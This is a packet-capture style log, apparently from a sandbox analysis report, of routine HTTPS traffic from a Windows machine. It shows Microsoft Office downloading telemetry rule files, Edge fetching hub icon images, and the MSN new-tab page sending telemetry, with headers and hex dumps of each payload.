2024-11-11 18:17:54 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:54 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:54 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: c08ebcd4-401e-0064-18d5-3354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181754Z-174f7845968cpnpfhC1EWR3afc00000004x000000000ek6w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	49886	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:55 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 96858d24-c01e-0053-2666-347408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968l4kp6hC1EWRe88400000005hg00000000drf9 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	49887	20.189.173.18	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731355916235&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5244 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=021090CBA3AE69423B8585FFA2C968AB; _EDGE_S=F=1&SID=2F40E15050D86AB42E21F46451C96B10; _EDGE_V=1; msnup=; _C_ETH=1
2024-11-11 18:17:55 UTC	5244	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 31 54 32 30 3a 31 31 3a 35 36 2e 32 33 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 37 37 35 63 64 64 37 2d 62 30 36 64 2d 34 34 62 61 2d 38 34 37 37 2d 33 34 65 30 35 30 33 61 31 61 66 32 22 2c 22 65 70 6f 63 68 22 3a 22 31 31 36 37 37 36 35 38 30 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-11T20:11:56.234Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"0775cdd7-b06d-44ba-8477-34e0503a1af2","epoch":"1167765806"},"app":{"locale
2024-11-11 18:17:55 UTC	894	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=aefa7c3c91ce4f18a98eab5f236933d4&HASH=aefa&LV=202411&V=4&LU=1731349075526; Domain=.microsoft.com; Expires=Tue, 11 Nov 2025 18:17:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=0c6df543879a46818068e8e46267775e; Domain=.microsoft.com; Expires=Mon, 11 Nov 2024 18:47:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: -6840709 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 11 Nov 2024 18:17:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	49889	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:55 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 37f690f1-701e-0027-1766-34f24e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968n2hr8hC1EWR9cag00000004zg000000006h1t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	49892	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 571edae1-a01e-000c-7866-3486f6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968glpgnhC1EWR7uec00000005f000000000b44h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	49891	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 30153a40-301e-0002-3266-346afd000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968frfdmhC1EWRxxbw00000005dg000000004a9g Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	49890	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 62884183-001e-000a-5466-34718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968jrjrxhC1EWRmmrs00000005gg000000004fx7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	49893	13.107.246.40	443	7524	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 18:17:56 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 76000f36-801e-0010-5866-345ee1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T181755Z-174f7845968swgbqhC1EWRmnb400000005gg0000000056sg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-11 18:17:56 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 1815edcd-001e-0028-0ed5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181755Z-174f7845968px8v7hC1EWR08ng00000005gg00000000g82w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:55 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:55 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:55 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:55 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5ac3f5ac-801e-008f-14d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181755Z-174f7845968ljs8phC1EWRe6en000000050g00000000vq2h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
